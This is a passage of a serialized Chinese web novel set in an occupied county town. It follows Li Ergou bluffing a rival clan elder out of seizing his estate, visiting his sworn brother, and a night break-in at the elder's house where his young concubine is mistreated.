她心里不由得埋怨道:李二狗啊李二狗,这都什么时候了,你还在这里装犊子?你的狗腿子张二驴到底去哪了?再不动手,你就真的要被他们抓起来了! 可身处包围圈中心的李二狗,自始至终一点慌乱的神色都没有。 他看着步步逼近的两个爪牙,看着旁边迫不及待想看自己被制服的胡家人,嘴角轻轻勾起一抹淡淡的笑意。 那笑意不狂不傲,却透着十足的底气,仿佛眼前所有的威逼胁迫,在他眼里都只是不值一提的小事。 就在两个爪牙将要动手之时,李二狗一个眼神把他们又吓住了。 他没有再理会那两个爪牙,而是看向胡汉三,幽幽说道:“三太爷,你是活了大半辈子的人,见过的风浪比谁都多。你好好静下心来想一想,我李二狗就算是吃了熊心豹子胆,敢拿着郭县长的名头当众说谎骗人吗?” 这句话说得极为巧妙,没有威胁,没有争辩,只是简简单单的一句反问,却句句戳在要害上。 郭有财如今是江东县长,背靠日本人,寻常乡绅百姓,连提他名字都要谨小慎微,没人敢随意假借他的名义招摇撞骗。 一旦查实,便是杀头的罪过。 李二狗眼神坦荡,没有一点说谎的慌乱,单单这一副稳得住的模样,就让胡汉三心里的猜忌又加重了几分。 李二狗的样子确实不像是在说谎。 一旁的胡豹心思粗浅,眼里只想着赶紧拿下李二狗,夺下房契地契,压根看不出其中的深浅门道。 他最怕自己发父亲心思松动,被李二狗三言两语哄骗过去,到手的机会白白溜走。 不等胡汉三开口,胡豹立刻抢话道:“爹!你别信他的鬼话!这李二狗向来狗胆包天,他什么谎话不敢说,什么坏事不敢做?!” 他转头对着两个僵在原地的爪牙再次声催促道:“你们两个还愣着干什么!赶紧动手,把李二狗给我抓起来!今日说什么也不能让他糊弄过去!” 任凭胡豹在一旁气急败坏地连连催促,李二狗依旧是那副宠辱不惊的模样。 他脸上的笑意始终没变,哪怕眼看就要被人擒拿,身上也没有露出一点怯懦,从头到尾都透着一股一切尽在掌握的从容。 他再次看向胡汉三,依旧是不紧不慢的语调:“三太爷,你可得好好想清楚,别一时冲动误了大事。郭县长今日约我面谈,谈的不是私事,是江东的大事。” “若是你今日强行把我留下来,耽误了时辰,耽搁了郭县长的大事,这里面的后果,不用我多说,你心里自然是清楚的。” 这话一出,相当于直接把胡汉三架在火上烤。 现在已经不再是胡家内部争夺家产的私事,而是牵扯到现任县长,牵扯到江东政务的大事。 胡汉三一辈子精于算计,最懂得权衡利弊,最怕得罪官场权贵,这话正好拿捏住了他最大的顾忌。 胡豹根本听不出这里面的利害轻重,只当李二狗是在装腔作势。 见自己的父亲迟迟不发话,两个手下依旧畏畏缩缩,他心里的急躁越发浓烈,再次扯着嗓子厉声命令道:“你们两个废物还在等什么?听不懂人话是吧?赶紧给老子动手抓人!” 大堂之内,吵嚷催促的是胡豹,迟疑不定的是胡汉三,稳如泰山的是李二狗。 就在两个爪牙咬紧牙关,准备豁出去上前拿人的紧要关头,一直沉默思索的胡汉三,突然抬手喝止道:“等一下!” 简简单单三个字,瞬间压下了大堂所有的动静。 胡豹心里咯噔一下,最怕的事情还是来了。 他太了解自己父亲的性子,优柔寡断、瞻前顾后,最容易被旁人几句话动摇心思。 他生怕胡汉三心一软,信了李二狗的谎话,白白放走这个绝佳的机会。 他连忙凑上前,急急忙忙地低声劝说道:“爹,你可千万别听他胡说八道!你怎么能被他骗了!老话讲一朝天子一朝臣,这是最实在的道理。” “李二狗从前是前任县长孙竹刚的结拜兄弟,跟他交情匪浅,郭县长新官上任,最忌讳的就是旧人旧势,怎么可能接纳他?他分明就是走投无路,编瞎话来糊弄我们,想借着郭县长的名头保住自己的狗命!我拿项上人头打赌,他绝对是在撒谎!” 胡豹说得信誓旦旦,自以为看透了所有的真相,殊不知从头到尾,他都只看得到表面的皮毛,一点看不透内里的弯弯绕绕。 胡汉三心里想的,和他完全不一样。 胡汉三活了大半辈子,一路摸爬滚打过来,最懂人心贪念,从不相信什么官场情义,只信真金白银的好处。 他心里清楚,自己能稳稳地坐上仙人洞镇维持会会长的位置,不是靠自己有多大的本事,也不是靠胡氏一族的名望,全靠当初狠狠心,给郭有财私下送去了一千块大洋的重礼。 能被一千块大洋收买的人,绝对不是什么清正廉洁的官员,骨子里就是个贪财好利,认钱不认人的主。 既然郭有财贪财,那一切就说得通了。 整个仙人洞镇谁不知道,李二狗办事最懂门路,向来是喜欢拿钱开路。 当初他一无所有,能在短短几年之内站稳脚跟,搭上孙竹刚的线,坐稳维持会会长的位置,靠的就是出手阔绰,硬生生用钱砸出来的人脉和靠山。 第804章 姜还是老的辣 从前李二狗能靠大洋拿下孙竹刚,现如今孙竹刚失势,他为什么不能再用同样的法子,重金收买新上任的郭有财? 这个道理,完全说得通,他相信李二狗也会这样做。 再者,胡汉三心里暗自掂量。 旁人都以为李二狗落魄失势,可只有他清楚,李二狗掌控胡家大院这么久,所有账目都经他之手,手里必然攒下不少积蓄。 比起胡家大院的田产家业,他手里的那点钱财确实不值一提。 越这样想,胡汉三心里的猜测就越笃定。 他抬眼看向眼前的李二狗,对方依旧神色淡定,从头到尾没有一点心虚的样子。 若是纯纯撒谎骗人,不可能稳到这般地步。 一瞬间,胡汉三心里豁然开朗,彻底想通了前前后后的所有关节。 怪不得这段时间,李二狗丢了官职、没了靠山,看似一无所有,却依旧底气十足。 原来他根本不是无依无靠,是悄悄藏了后手,早已不动声色地搭上了郭有财这棵新的大树,寻到了新的靠山。 这份心思,这份暗中布局的手段,让胡汉三心底暗自忌惮,也彻底不敢再轻易动手得罪他。 “爹!你还在愣着干什么?赶紧下令动手啊!错过今天,以后再想拿捏他可就难了!” 一旁的胡豹见胡汉三久久不语,只是盯着李二狗出神,心里急得火烧火燎。 他这一催,彻底催恼了心神不定的胡汉三。 胡汉三看着自己这个头脑简单、目光短浅的儿子,满心都是恨铁不成钢的恼怒,忍不住低声怒骂道:“你他娘的懂个屁!什么都不知道就瞎嚷嚷!滚一边去!” 一句怒骂,干脆利落。 胡豹当场被骂得一愣,心里又委屈又不甘,却一点不敢顶撞自己的父亲。 他只能乖乖闭了嘴,悻悻地退到一旁,胸口剧烈起伏着,大口大口喘着粗气,一双眼睛依旧死死瞪着李二狗,满眼都是不服和不甘,却再也不敢多说一句话。 大堂里彻底安静下来。 胡汉三缓缓迈开步子,一步步踱到李二狗的身前。 他微微俯身,浑浊的目光紧紧盯着李二狗清亮沉稳的眼睛,打量了许久,半天没有说话。 他心里是真的不甘。 今日谋划许久,带着一众人手上门逼宫,就是为了拿到胡家大院的房契地契。 他知道,这样的好机会可遇不可求,一旦错失,下一次李二狗有了戒备,再想这样拿捏他会显得非常困难。 眼看着就要逼得李二狗束手就擒,却因为这一层捉摸不透的官场关系,不得不半途收手,任谁心里都咽不下这口气。 可不甘归不甘,他不敢拿自己的性命去赌。 万一李二狗说的是真的,万一他真的搭上了郭有财,今日自己若是贸然动手,伤了县长要见的人,等同于公然对抗县政府,得罪顶头上司,往后别说维持会会长的位置保不住,整个胡家都要跟着遭殃。 权衡利弊之下,他只能选择暂时隐忍退让。 良久,胡汉三才缓缓收回目光,沉着脸,缓缓开口道:“李二狗,今日我暂且信你这一回。”“但是你给我记好了,胡家大院的房契地契,是我们老胡家传下来的产业,早晚有一天,我必定要亲手拿回来,你休想独占。” 说完,他冷哼一声,不再多言,转身抬手一挥。 “哼,我们走!” 话音落下,他便准备带着众人转身离开。 一旁的胡豹彻底急了,快步上前拦住胡汉三,满脸都是难以置信的不甘。 “爹!真的就这样放过他了?你可千万想清楚!你这就是放虎归山啊!今日不除他,日后他只会越来越难对付!” 胡汉三根本懒得跟这个蠢儿子多做解释,头也不回,语气强硬地下达最终命令。 “我让你走!听不懂是吗?走!” 语气里带着不容置喙的威严,没有半点商量的余地。 胡豹看着父亲决绝的背影,满心憋屈,却又无可奈何,只能狠狠咬着牙,跟着众人一同转身离开。 其实此刻胡汉三的心里,自有一套旁人看不透的考量。 就算今日李二狗真的是撒谎骗人,根本没有搭上郭有财,纯属装腔作势保命,那也无妨。 他心里看得通透,如今的李二狗,早已不是昔日手握职权的模样。 没有了日本人认可的公职,没有了孙竹刚在位时的扶持庇护,没有了清风寨土匪势力的依仗,如今的他,就像是一头被拔去一口尖牙的猛虎。 看着唬人,实则早已没有了往日的威慑。 他现在只是暂时凭着一身城府唬住人,根基早已不稳。 来日方长,自己手里握着维持会会长的职权,背靠日本人和县政府,手里有人有势,往后有的是机会,慢慢收拾他。 心急吃不了热豆腐,没必要一时逞强,冒着得罪县长的风险,跟一个失势的人拼个鱼死网破。 暂时退让,隐忍一时,来日再徐徐图之,这才是最稳妥的算计。 老谋深算,步步为营,不急一时得失,只谋长远利弊,姜果然还是老的辣,胡汉三的心机和城府,远非胡家几个小辈能比。 人群最后方,手指被掰断、疼得脸色惨白的胡彪,死死咬着牙,强忍着手骨断裂的剧痛,眼底充满了滔天恨意。 临走之前,他猛地回头,狠狠地盯着李二狗,放下一句重重的狠话。 “李二狗,你给老子好好等着!今日这笔账,老子记下了!早晚有一天,我会亲手掰断你的十根手指,让你加倍偿今日之痛!” 李二狗只是微微一笑,不屑地说道:“今日掰断你一根手指只是给你一个小小的教训,如果下次还是这般无礼,那我掰断的就不只是你的手指了!” “李二狗,你……你给我等着!老子早晚有一天让你跪下来舔老子脚趾丫!” 说完,他才跟着众人,一瘸一拐地转身离去。 一众嚣张而来的胡家人,最终只能含恨草草离场。 大堂之内,瞬间变得空空荡荡,方才剑拔弩张的紧张气氛,彻底消散殆尽。 第805章 千穿万穿,马屁不穿 李二狗静静地站在原地,望着他们一行人满腹怨气的离去背影,脸上没有半分得意张扬,只是轻轻扯了扯嘴角,露出一抹浅浅的、带着几分鄙夷的淡笑。 一群有勇无谋、只会仗势欺人的草包罢了,在他眼里,根本不值一提。 直到确认所有人都已经走远之后,李素文才彻底放下心底的恐惧。 她再也顾不得矜持,一下子扑进李二狗的怀里,身子还带着一丝未散的轻颤,声音软软糯糯的,满是后怕。 “二狗,刚才真是吓死人家了,我的心都快要跳出来了。” 柔软的身子紧紧地贴着他,温热的气息萦绕在身前。 李二狗抬起手,动作轻柔地轻轻拍着她的后背,低声安抚道:“素文,别怕,没事了。会咬人的狗不叫,这群人只会虚张声势,说到底就是几头只会乱吼的叫驴罢了,没什么真本事,我根本就没把他们放在眼里。” 听着他沉稳的声音,感受着他怀里踏实的气息,李素文心底所有的恐惧瞬间一扫而空。 她抬起头,小脸通红,眉眼弯弯,带着满满的崇拜和娇羞,一双粉嫩的小拳头轻轻捶打在李二狗的胸口,语气娇俏又亲昵。 “我就知道你最厉害了,什么事都难不倒你,嘻嘻。” 两人相拥的姿态亲昵温柔,屋里的氛围瞬间变得安静又暧昧。 就在这时,隔壁潜伏的厢房方向,传来一阵轻微的脚步声。 张二驴快步从外面跑了进来,原本是着急进来确认李二狗的安危,可一进门,就看见李二狗和李素文紧紧地抱在一起。 非礼勿视的道理他是懂得的! 当下他脚步一顿,不敢再多往前半步,连忙转过身,准备悄悄退出去,不打扰两人亲热。 “二驴,你先别走。” 李二狗及时开口叫住了他,语气从容,没有半分尴尬。 李素文已是他的女人,他没什么不好意思的! 听到李二狗的叫声,张二驴只能停下脚步,乖乖地站在原地,不敢直视抱在一起的二人。 一旁的李素文这才反应过来,察觉到有人在场,脸上瞬间涌上一层红晕,连忙从李二狗怀里直起身。 她整理了一下身上的衣衫,眉眼带着几分羞涩,轻声细语道:“那我先回屋里收拾一下,你们谈事情吧。” 说完,不等李二狗回话,她便提着裙摆,轻步转身走进了内屋。 大堂里只剩下两人,张二驴这才敢上前,脸上依旧带着未散的惊魂未定。 “嘿嘿,狗哥,方才真是太凶险了。我在隔壁屋里听得清清楚楚,好几次听到他们要动手抓人,可就是没有听到你发出的行动信号,我实在忍不住,差点就带人冲出来救你了。” 李二狗淡淡一笑,完全不把方才的凶险当回事。 “无妨,只是一群乌合之众罢了,谅他们也翻不出什么风浪,没什么好怕的。” 简简单单一句话,尽显底气和从容。 张二驴站在一旁,看着李二狗泰山崩于前而色不变的沉稳模样,心里是打心底里的佩服,满眼崇敬。 “狗哥,我是真的服你。换做旁人,面对这么多人持刀拿枪的步步紧逼,早就乱了阵脚。也就你,从头到尾沉得住气,你实在是太厉害了,我对你的敬仰真是如滔滔江水,连绵不绝,又有如黄河泛滥一发不可收拾!” 李二狗闻言,忍不住笑了起来,纵使再厉害的人物,也抵抗不住别人的拍马溜须。 正所谓,千穿万穿,马屁不穿。 李二狗笑着摆了摆手,说道:“行了,别在这里拍我马屁了,我有要紧事和你说。” 他收敛了方才的松弛神色,眼底多了几分认真,对着张二驴沉声吩咐道:“二驴,我有一件要紧事,你现在立刻动身,马上赶去清风山,找到秀才和陈老三,把我的话传给他们。” 说完,他上前一步,俯身在张二驴耳边,压低声音,细细交代了一番隐秘事宜。 张二驴认真听着,把李二狗的吩咐一字一句记在心里。 听完李二狗所有部署之后,他脸上满是茫然,心里完全琢磨不透李二狗这般安排的用意,想不通这么布局的道理。 他脑子不如李二狗灵活,看不透他的长远布局。 但他跟着李二狗多年,早已养成了绝对服从的性子。 不管能不能看懂李二狗的谋划,不管能不能理解这般安排的深意,都丝毫不影响他无条件执行李二狗的命令。 只要是李二狗吩咐的事,他只管照做,无需多问,无需多想。 李二狗没有错的时候,即使他错了,也要当正确的看待。 “好的,狗哥,我都记下了,我现在立刻动身,马上上山通知三哥他们。” 李二狗拉住刚要离开的张二驴,说道:“二驴,别走前门,你从后门走!” 张二驴不解地问道:“狗哥,为什么走后门?去清风山走前门更近一些。” 李二狗本想痛骂张二驴一顿,但想到不能要求所有人都像自己这般拥有洞察全局的能力。 一个好的领导,必须有包容下属的能力。 如果人人都像他一样,那还怎么显得他突出? 想到这,李二狗耐心解释道:“我想此刻胡汉三肯定在前门附近安插了探子,你走后门,省去很多麻烦。” 张二驴当即佩服的五体投地:“狗哥,高,实在是高!” “好了,别再拍了,赶紧去吧。” 张二驴答应一声,不敢再耽搁,转身快步奔向后门,立刻赶往清风山。 大堂彻底安静下来。 李二狗独自站在屋中,神色沉静,心里早已把接下来的每一步路,都筹划得明明白白。 他没有停留,推出院里的自行车,翻身骑上,径直朝着江东县城的方向赶去。 他心里清楚,胡汉三这种老奸巨猾的人,从来不会轻易死心。 今日看似隐忍退让,实则必然不会就此善罢甘休。 自己方才一番说辞,看似唬住了对方,可胡汉三心里依旧存疑,定然不会放心。 从他踏出胡家大院的那一刻起,暗处必定已经安排好了眼线,自己的一举一动,都在他们的监视之中。 第806章 嫂子一会儿就回来 李二狗现在故意骑车直奔县城,就是故意做给暗处的眼线看,顺着自己方才的说辞,演足“赴县长之约”的戏码,彻底打消胡汉三心底的疑虑,为自己后续的布局争取时间。 没人知道,他口中郭县长相约面谈公事的话,从头到尾都是周旋之词。 他心里清楚,自己是孙竹刚的结拜兄弟,是旧县长的心腹嫡系,郭有财作为新任上位而且是顶替孙竹刚位置的人,心里对孙竹刚的旧部必然充满了戒备。 在整个江东官场,谁不知道李二狗和孙竹刚好到可以共穿一条裤子! 对于这样的人,郭有财不可能不防! 就算李二狗真的提着重金大洋上门刻意攀附,郭有财也只会表面应付,绝不会真心接纳。 所以,李二狗从一开始就压根没打算花钱收买郭有财,也从未将希望寄托在这个新任的县长身上。 在他心里,从来只有一个念头。 江东县长这个宝座,从来就不属于郭有财,而是孙竹刚的。 唯有孙竹刚,能坐稳江东县长的宝座,其他人,终究只是过客。 李二狗一路疾驰,不多时,他便骑车来到江东县城城门口。 守门的伪军早已和李二狗熟络起来,他们热情地打了声招呼,便让李二狗进城。 李二狗喜欢和这种痛快人打交道,他特意停下车,塞给伪军班长两块大洋。 “兄弟们辛苦了,请兄弟们喝点酒解解乏。” 伪军班长笑得和一朵花似的。 “那就谢谢李管家了,哈哈。” “改日去胡家大院喝酒,我让他们宰只羊。” “一定一定,哈哈,李管家慢走!” 李二狗骑上车,进了城。 他熟门熟路,直接去往孙竹刚的院子。 他知道孙竹刚此时一定在家中。 现如今的孙竹刚,确实是落魄的凤凰不如鸡,他的处境极为憋屈。 前几天他听从李二狗的建议,哪怕沦为郭有财的下属,也依旧按时去县政府照常上班,隐忍蛰伏,等待时机。 可官场上的人情冷暖,最是现实。 昔日高高在上的一县之长,如今沦为新任县长的下属,往日的部下变成了自己的顶头上司。 这种身份上的落差,让他心里本就万分憋屈。 更让人难以忍受的是,郭有财是一个心胸狭隘之人,自从上任以来,他表面上对孙竹刚客气,暗地里处处刻意刁难他。 公事上刻意进行打压,私下里冷眼相待,还处处给他穿小鞋。 孙竹刚作为县政府的顾问,名字听着很高大上,实际上没有任何实权,只是空挂一个头衔而已。 县政府的一些副职,甚至原来他都不放在眼里的科长主任都可以对他呼来喝去。 这些人心里都明白,孙竹刚已经失去了日本人的信任,他不可能再回来当县长了。 他现在这个顾问的头衔,实际上是日本人在羞辱他。 要是换作别人,根本没脸来上班,可他竟然腆着脸来上任,对于这样的人,他们心里充满了深深的鄙视之情。 孙竹刚日日身处这种压抑憋屈的环境里,日子过得极为煎熬,整日心里堵得慌。 他真想一走了之,不要这个狗屁顾问的头衔,可想到李二狗的叮嘱,他又动摇了。 重新当上县长是他的梦想,只有李二狗才有能力实现他的梦想。 今日见到结拜兄弟李二狗上门,内心积压多日的委屈和憋闷,瞬间找到了宣泄的出口。 两人刚一落座,孙竹刚便端起桌上的酒杯,长叹一声,声音里满是压抑许久的苦涩。 “兄弟,大哥我这日子,过得实在是太苦了。” 话音落下,他不和李二狗碰杯,而是自己仰头一饮而尽,烈酒入喉,依旧压不住心底的烦闷和郁结。 借酒浇愁愁更愁! 李二狗静静地看着他,心里十分通透明白。 孙竹刚今日这番诉苦,不单单只是单纯发泄郁闷的情绪,他更是在隐晦地提醒自己,记着当初许下的承诺,记着要帮他夺回县长宝座的约定。 官场蛰伏最是磨人,日复一日的打压排挤,早已让孙竹刚身心俱疲,迫切盼望着逆风翻盘的机会。 李二狗只好安抚道:“大哥,你再忍一忍,再坚持一段时间。我当初怎么跟你说的,今日依旧是这句话。江东县长的宝座,外人坐不稳,也不该外人来坐。这位置,终究只能是你孙竹刚的,早晚有一天,我必定帮你拿回来。” 这一句承诺,字字珠玑,落地有声。 孙竹刚浑浊疲惫的眼睛里,瞬间亮起了一丝光亮,连日来积压在内心的焦躁和苦闷,瞬间消散大半。 他重重地点了点头,脸上终于露出一丝发自内心的微笑。 “好兄弟,有你这句话,大哥心里就踏实了,再苦再难,大哥都能撑得住。兄弟,今晚你别走了,待会儿就住在家里。我让你嫂子包你最爱吃的海鲜馅饺子,咱们兄弟俩好好喝两杯。” 李二狗闻言,坦然一笑:“那就多谢大哥了,嫂子的海鲜馅饺子,我向来是最喜欢的。” “二丫,咱二狗兄弟今晚不走了,你给咱兄弟准备好饺子,还是海鲜馅的。” 二丫在厨房闻言,内心狂喜。 “放心吧,保证让咱兄弟吃得舒心。” 兄弟二人推杯换盏,闲谈对饮。 孙竹刚连日压抑,心中苦闷太多,借着酒劲,喝完一杯还有一杯,一杯接着一杯,尽数抒发心底的憋屈。 没过多久,不胜酒力的他,便像往常一样,醉意上头,身子一软,直接趴在酒桌之上,沉沉睡了过去。 屋内烛火摇曳,酒香萦绕,安静得只剩下他浅浅的呼吸声。 就在这时,里屋的门帘轻轻一动。 身姿窈窕的二丫,端着一盘刚出锅的热气腾腾的海鲜馅饺子,步履轻盈,身姿摇曳,缓缓地从里屋走了进来。 她眉眼温柔,目光落在端坐桌边的李二狗身上,眼底藏着一丝藏不住的温柔暧昧,浅浅笑意落在眉眼之间,温柔又缱绻。 “二狗兄弟,海鲜馅的饺子,快趁热吃吧!” 李二狗内心一阵悸动,忙说道:“嫂子,你别忙活了,咱们一起吃吧。” 二丫妖娆一笑,温柔地说道:“看你猴急的样子,你先慢慢吃,别着急,嫂子一会儿就回来。” 第807章 胡汉三的小老婆 月黑风高,天空中漂浮着一层厚厚的黑云,连一点月光都透不出来。 四下里静得吓人,连村外的野狗都歇息了,整个仙人洞镇陷在漆黑的夜里。 胡汉三家四合院最里侧的一间卧房里,烛火早就熄灭了,只有一扇糊着粗纸的木窗,漏进来一点点淡薄的星光,勉强能照见屋里模糊的人影。 炕上,胡汉三正缠着自己新纳的小妾桃红折腾。 他今年已经六十出头,头发大半已经花白,腰背也早就松垮了,身子骨更是一日不如一日,可偏偏色心一点没减。 白天在胡家大院大堂,他被李二狗几番拿捏,当众落了下风,本想逼着对方交出胡家大院的房契地契,最后却一点便宜没占到,反倒被李二狗不动声色地将了一军,他带着一肚子的憋屈回了家。 回到家中,他心里还是堵得慌,一口恶气始终咽不下吐不出。 躺在床上,翻来覆去睡不着,满脑子都是白天被李二狗戏耍的窝囊场面。 心里的火气没处撒,便全都落到了身边这个只有十八岁的小女人身上。 他心里打着龌龊的主意,白天在外头受得所有郁闷憋屈,全都要借着床上这点事,狠狠地发泄出来,也好找回一点可怜的体面。 桃红今年刚满十八岁,是仙人洞镇十里八乡非常出挑的姑娘。 她生得白净细嫩,眉眼鲜活,正是最好的年纪,如花似玉,水嫩娇软。 奈何因为家里穷,偏偏落在了已经年过花甲的胡汉三手里。 外人看着她嫁进胡家,做了维持会会长的小老婆,穿金戴银,衣食无忧,看着风光体面,可其中的酸甜苦辣,只有她自己心知肚明。 胡汉三虽然顶着仙人洞镇维持会会长的名头,在镇上作威作福,可他年纪到底摆在那里,身子早就虚透了。 床上的那点本事,蜻蜓点水一般,真描述出来不够恶心人的。 桃红起初还带着几分少女的羞怯温顺,低低咿呀了两声,声音细软,带着本能的轻颤。 可也就仅仅这么两声过后,炕上的胡汉三便彻底没了动静,身子一软,所有劲头瞬间消散得干干净净。 前后不过十来秒钟便草草收场,狼狈而又虚浮。 被窝里的桃红习惯性地僵住了,每次都是这样,她心底涌上来满满的空虚、憋屈和难言的厌烦。 她年纪轻轻,正是身子最鲜活、心思最敏感的时候,心里攒着无数说不出口的委屈。 可她只是一个无依无靠、被买卖送来做妾的弱女子,寄人篱下,被人呼来喝去,连说不的权力都没有。 眼前这个令人作呕的老男人,与其说是她男人,不如说是她的主子,是能定她生死的人。 哪怕心里再不满、再嫌弃、再憋屈,心里翻江倒海,面上也不敢流露半分,连眉头都不敢皱一下。 她不敢抱怨,不敢吭声,更不敢摆脸色。 只能默默伸手,一把扯过厚厚的锦被,从头蒙住,将自己整张脸严严实实裹在被子里,死死压住心底所有的不甘和委屈,一声不吭,假装什么都没发生。 被窝外头,胡汉三静静躺着,心里半点愧疚、半点安抚的心思都没有。 他自己心里清楚,自己身子虚、不中用,方才一番折腾,终究是落了难堪,自知理亏,也自知丢人。 可他年纪大,性子暴戾自私,从来只会迁怒旁人,从不会反省自己。 此刻的他,没有半点心情去哄被窝里的女人,更不会抚慰她眼底藏不住的失落和悲伤。 他满脑子依旧是白天被李二狗拿捏的闷气,心里又躁又堵。 他沉默地撑起苍老松弛的身子,慢慢从温热的被窝里坐起来,动作迟缓,带着老年人的拖沓疲惫。 夜里天凉,春风穿过窗缝往里钻,带着刺骨的寒意。 他随手捞过床沿搭着的厚羊皮袄,披在佝偻的身上,裹紧衣襟,挡住夜里的冷风。 随后伸手摸出床头木柜上的一盒香烟。 那是新任县长郭有财上次下乡巡查,特意送给他的老刀牌香烟,是现下城里最流行的货色,寻常乡里人根本抽不到,也是他平日里最拿得出手也是最得意的东西。 他摸出一根,就着床头的打火石,“啪”的一声点燃。 昏黑的卧房里,一点烟火忽明忽暗,随着他的呼吸明明灭灭,袅袅的青烟缓缓升起,在黑夜里慢慢散开。 胡汉三含着烟嘴,狠狠地抽了两大口,辛辣的烟气直冲肺腑。 他缓缓地吐出烟雾,胸腔里的憋闷稍稍散了一点,酸软无力的身子,也总算稍稍缓过来几分,有了一点精气神。 抽完两口烟,心里的躁气压下去些许,他便抬起脚,毫不温柔地踢了两下蒙住人头的厚被子。 语气里带着高高在上的蛮横,一点温柔体恤都没有。 “别躲在里头装死,赶紧给老子起来,给老子捶捶背。” 被窝里的桃红一动不动,心里的滋味难受到了极致。 她正是十八芳华,少女身子鲜活滚烫,方才那短短片刻的折腾,不仅没有半分舒坦,反倒让她浑身燥热,心里空落落的,像是有无数细小的蚂蚁,顺着骨头缝来回爬动,又痒又闷,说不出的难熬难受。 满身的燥热无处排解,满心的委屈无处诉说。 可她没有半点反抗的资格。 胡汉三的命令,她不敢违拗,也违拗不起。 哪怕心里再难受、再不甘、再委屈,也只能硬生生压下去。 她缓缓掀开蒙头的被子,从温暖的被窝里慢慢钻了出来。 身上只穿着一件贴身的红色小肚兜,雪白细嫩的肩头、纤细的脖颈全都露在外头,夜里凉风一吹,忍不住轻轻打了个寒颤。 她不敢耽搁,伸手抓过床头叠得整整齐齐的碎花小夹袄,草草披在身上,遮住单薄的身子。 随后默默挪到胡汉三的身后,双膝微微屈膝跪坐在炕面上,伸出一双纤细柔软的小手,轻轻落在胡汉三苍老僵硬的肩背上,小心翼翼地帮他揉捏捶打。 第808章 两道黑影 桃红性子温顺怯懦,平日里做事向来轻手轻脚。 她怕弄疼胡汉三,也怕惹他不快,手上力道放得极轻极柔。 可这份小心翼翼的体贴,落在心气不顺的胡汉三眼里,反倒成了敷衍和偷懒。 他脊背僵硬,满心烦躁,感受着背上轻飘飘的力道,顿时心头一怒,粗声粗气地呵斥道:“力道再大一点!轻飘飘的跟挠痒痒一样!老子晚上是没给你饭吃,还是亏待你了?!” 身后的桃红身子微微一颤,眼底瞬间涌上一层温热的水汽,委屈的眼泪在眼眶里打转,顺着眼尾悄悄蓄满,差一点就要滚落下来。 她心里又酸又涩,又怕又屈。 可她死死咬着自己的下嘴唇,不敢哭出声,更不敢有一点怨言,甚至连喘气声都刻意压制着。 她默默地咬紧牙关,加重了手上的力道,一下一下,用力给胡汉三捶背捏肩,一点都不敢懈怠。 胡汉三闭着双眼,身体微微往后倾着,享受着这个逆来顺受年轻女人的伺候。 白天积攒的所有憋屈,在女人一点点力道的揉捏下,慢慢散开,浑身筋骨终于舒坦开来。 他微微眯着眼睛,满脸慵懒享受,嘴里不停地随口指挥着。 “左边一点……对,就是这里。” “右边再加点劲……别他娘的偷懒。” “中间这里多捏几下。” “手再往上挪一点。” “劲还不够大,再使劲!” 一声声指挥,带着十足的老爷架子,蛮横又显得理所当然。 随着桃红手上力道一点点加重,揉捏到酸胀的筋骨,胡汉三彻底舒坦了,喉咙里不停发出舒服的哼唧声。 “哎吆……对,就是这个劲……舒服……太他娘的舒坦了……” 他闭着双眼彻底放松下来,整个人沉浸在这份安逸享受里,脑子里空空荡荡的,再也想不起白天的那些糟心事,也忘记了所有的憋屈怒火。 身后的桃红熬得眼皮发沉,连日熬夜伺候,本就困倦难耐,此刻一遍遍地重复着机械的动作,困得脑袋一点一点的,不停地打着哈欠,眼皮重得几乎睁不开。 前面的胡汉三彻底松懈,闭目享受,毫无防备。 卧房内外,一片死寂。 谁也没有察觉到,漆黑的院外,两道高大的黑影,早已悄无声息翻墙进入了院子里。 他们的脚步很轻,落地时几乎没有发出一点声响,顺着房檐的阴影,一路摸到了胡汉三卧房的门外。 房门原本就只是虚掩着,里面并没有落锁。 其中一个黑影抬起手,试探着一推,木门无声地打开了,两道身形顺势闪身进屋,悄悄站立在昏暗的卧房角落里,彻底隐入阴影之中。 屋里没有点灯,唯有窗外透进来的细碎星光,朦朦胧胧照出屋内轮廓,昏暗而又压抑。 前面的胡汉三闭目享受,身后的桃红困顿乏力,两人全都毫无察觉,危险已经近在咫尺,死死地笼罩住了整间卧房。 角落里的两道黑影,静静地观察了片刻,确认两人完全没有防备,当即分头开始行动。 其中一道身形更快的黑影,悄然迈步上前,不等桃红反应过来,猛地伸手,一只大手死死捂住了她的嘴巴。 力道又快又沉,严严实实封住了她所有的声音,半点呜咽都透不出来。 桃红吓得浑身骤然僵直,瞳孔骤缩,心底瞬间被极致的恐惧填满。 突如其来的禁锢,陌生的大手,漆黑的人影,让她脑子一片空白,浑身冰冷。 她下意识地拼命挣扎,手脚慌乱扭动着,喉咙里发出呜呜的闷响,眼底瞬间便蓄满了惊恐的泪水。 黑影怕她挣扎动静太大,惊醒前面的胡汉三,情急之下,抬手一掌,精准地落在她的后颈上。 这一掌力道拿捏得刚刚好,不伤人命,却足够将人打晕。 桃红身子一软,双眼一闭,瞬间失去了所有意识,软软沉沉地倒了下去,被黑影稳稳地接住,轻轻挪到一旁角落里放好,卧房内彻底没有了动静。 解决掉桃红,屋里再无旁人碍事。 睡得迷迷糊糊的胡汉三突然感觉身后没有了动静,他没有睁眼,也没有转头,只是含含糊糊地说道:“又他娘的偷懒,快点捏。” 另一道高大的黑影,顺势上前一步,直接站到了胡汉三的身后,代替了刚刚桃红的位置。 一只宽大厚重、布满厚茧的大手,缓缓抬起,落在胡汉三的肩背上,慢慢地揉捏起来。 起初的力道还算平缓。 闭目养神的胡汉三毫无察觉,只以为是桃红不敢偷懒,乖乖听话加了力道。 他依旧沉浸在舒坦的享受里,半点也没有察觉到身后已经换人。 他嘴里依旧舒服地哼唧着,懒懒地说道:“对对,就这样,别停,再大点劲……哎吆,舒坦……” 话音刚落,身后黑影眼底冷色一闪,骤然加大了手上的力道! 巨大的蛮力狠狠地按压在胡汉三的肩骨之上,力道凶狠刺骨。 “咔嚓”一声轻响,筋骨骤酸骤痛。 原本极致的舒坦瞬间变成刺骨的剧痛。 胡汉三浑身猛地一僵,瞬间疼得龇牙咧嘴,五官扭曲,浑身肌肉骤然绷紧。 剧烈的刺痛顺着脊背直冲头顶,疼得他倒吸一口凉气。 他疼得失声叫唤道:“哎吆!疼死我了!你这个小蹄子发什么疯!怎么突然下手这么重?!” 他下意识以为,是方才自己呵斥太重,小女人心里存了怨气,故意借着捶背的由头,暗中下手报复自己。 心里顿时涌上几分恼怒,一边疼得嘶嘶抽气,一边猛地转头,想要斥责教训桃红。 